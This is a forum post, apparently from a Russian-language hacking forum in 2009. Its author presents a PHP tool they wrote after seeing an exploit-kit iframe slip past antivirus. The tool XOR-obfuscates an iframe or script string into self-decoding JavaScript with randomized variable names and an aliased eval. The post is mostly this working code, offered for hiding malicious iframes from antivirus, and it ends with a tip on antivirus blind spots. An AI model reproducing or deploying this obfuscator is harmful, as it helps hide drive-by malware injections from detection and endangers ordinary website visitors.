
08.10.2009, 23:58
|
|
Познающий
Регистрация: 07.05.2009
Сообщений: 54
Провел на форуме: 487201
Репутация:
80
|
|
Навеяло
Серфил как-то по тырнету, нарвался на чей-то ифрейм, ведущий на связку. Показал знакомому, его KIS9 проглотил и даже не подавился. Захотелось написать что-то подобное. Писал на скорую руку, посему реализация хромает в паре мест.
PHP код:
<?PHP
srand();
function rvn()
{
$i=rand(4,6);
while (strlen($a)<$i)
$a.=chr(rand(97,122));
return $a;
}
function gen_iframe($iframe)
{
$var_names= array(rvn(),rvn(),rvn(),rvn(),rvn(),rvn());
$xor=rand(40,100);
if (isset($iframe) && $iframe!="")
{
$vxod="document.write(\"$iframe\")";
for ($i=0;$i<strlen($vxod);$i++)
$a.=(ord(substr($vxod,$i,1))^$xor).",";
echo "<script>$var_names[0]=new Array(".substr($a,0,strlen($a)-1).");$var_names[1]=\"\";$var_names[2]=$xor;$var_names[3]=eval;$var_names[4]=String.fromCharCode;for($var_names[5] in $var_names[0])$var_names[1]+=$var_names[4](".$var_names[0]."[".$var_names[5]."]^$var_names[2]);$var_names[3]($var_names[1]);</script>\n";
}
else echo "Input any text into ^^^these^^^ box and press the button.\n";
}
?>
<html>
<head>
<title>Mini-JSobfuscator</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<body>
<form method="post">
<table width="40%" border="0" align="center">
<tr>
<td width="26%"><div align="center">Code:</div></td>
</tr>
<tr>
<td><div align="center"><input name="text" value="<? echo htmlspecialchars(stripslashes($_POST[text]));?>" type="text" size="80%"></div></td>
</tr>
<tr>
<td colspan="3" nowrap><hr></td>
</tr>
<tr>
<td><div align="center">
<textarea readonly="true" ROWS=8 COLS=70><? @gen_iframe($_POST[text]);?></textarea>
</div>
</td>
</tr>
<tr>
<td><div align="right">
<input type="submit" value="Obfuscate">
</div></td>
</tr>
</table>
</form>
<br>
</body>
</html>
Многие антивирусы просто не замечают переобъявления функций в JS.
|
|
|